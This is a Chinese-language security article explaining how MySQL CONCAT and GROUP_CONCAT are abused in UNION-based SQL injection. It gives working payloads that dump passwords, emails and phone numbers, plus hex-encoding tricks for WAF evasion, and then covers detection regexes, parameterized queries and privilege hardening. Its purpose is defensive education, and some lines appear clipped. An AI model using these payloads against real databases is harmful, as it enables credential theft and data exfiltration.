CONCAT() 是 MySQL 字符串拼接函數,攻擊者常在 Union 注入中用它將多欄位數據合併到單一顯示位,繞過欄位數限制、提取更多敏感信息。本文解析利用手法、編碼繞過、檢測特徵與防禦措施。
-- 原查詢:SELECT username, email, content FROM articles WHERE id = ? -- 注入點 id 可控,回顯位置僅有 email 欄位 -- 攻擊目標:提取 users 表的 username, password, email, phone -- 構造 payload -1 UNION SELECT username, CONCAT(password, ':', email, ':', phone), content FROM users WHERE id=1 --
結果在 email 欄位顯示:hash:admin@example.com:13800000000,一次提取三欄位。
-- 使用十六進制分隔符 0x3a (:) 避免引號被過濾 CONCAT(password, 0x3a, email, 0x3a, phone) -- 結合 HEX/UNHEX 雙重編碼繞過 WAF CONCAT(HEX(password), 0x3a, HEX(email)) -- 前端解碼還原 -- 利用 GROUP_CONCAT 橫向提取多行 -1 UNION SELECT 1, GROUP_CONCAT(CONCAT(username,0x3a,password) SEPARATOR 0x3b), 3 FROM users -- -- 結果:admin:hash1;user2:hash2;user3:hash3
GROUP_CONCAT 預設最大長度 1024 字節(group_concat_max_len),超長截斷。LIMIT 0,10、LIMIT 10,10 循環提取。INTO OUTFILE 或 OUTFILE 變體)。| 層級 | 檢測/防禦點 | 示例規則 |
|---|---|---|
| WAF/日誌 | 關鍵字匹配 | CONCAT\(.*0x[0-9a-f]{2,}.*\)、GROUP_CONCAT\(.*SEPARATOR.*\)、UNION.*SELECT.*CONCAT |
| 資料庫審計 | 異常查詢模式 | 單查詢多次 CONCAT、HEX、UNHEX、LOAD_FILE、INTO OUTFILE |
| 應用代碼 | 參數化查詢 | 預處理語句徹底消除注入面,CONCAT 僅作為業務邏輯函數存在 |
| 資料庫配置 | 限制敏感函數 | MySQL 8.0+ 可用 CREATE FUNCTION 權限控管,或審計插件攔截 |
PreparedStatement / PDO::prepare / ?/ 佔位符)?FILE、SUPER、CREATE USER 等高危權限)?secure_file_priv 是否設定為非 Web 目錄?CONCAT 本身是無辜的字符串函數,危險在於「拼接 SQL 字符串」這一錯誤模式。堅持參數化查詢,注入面歸零,攻擊者便無處施展拼接技巧。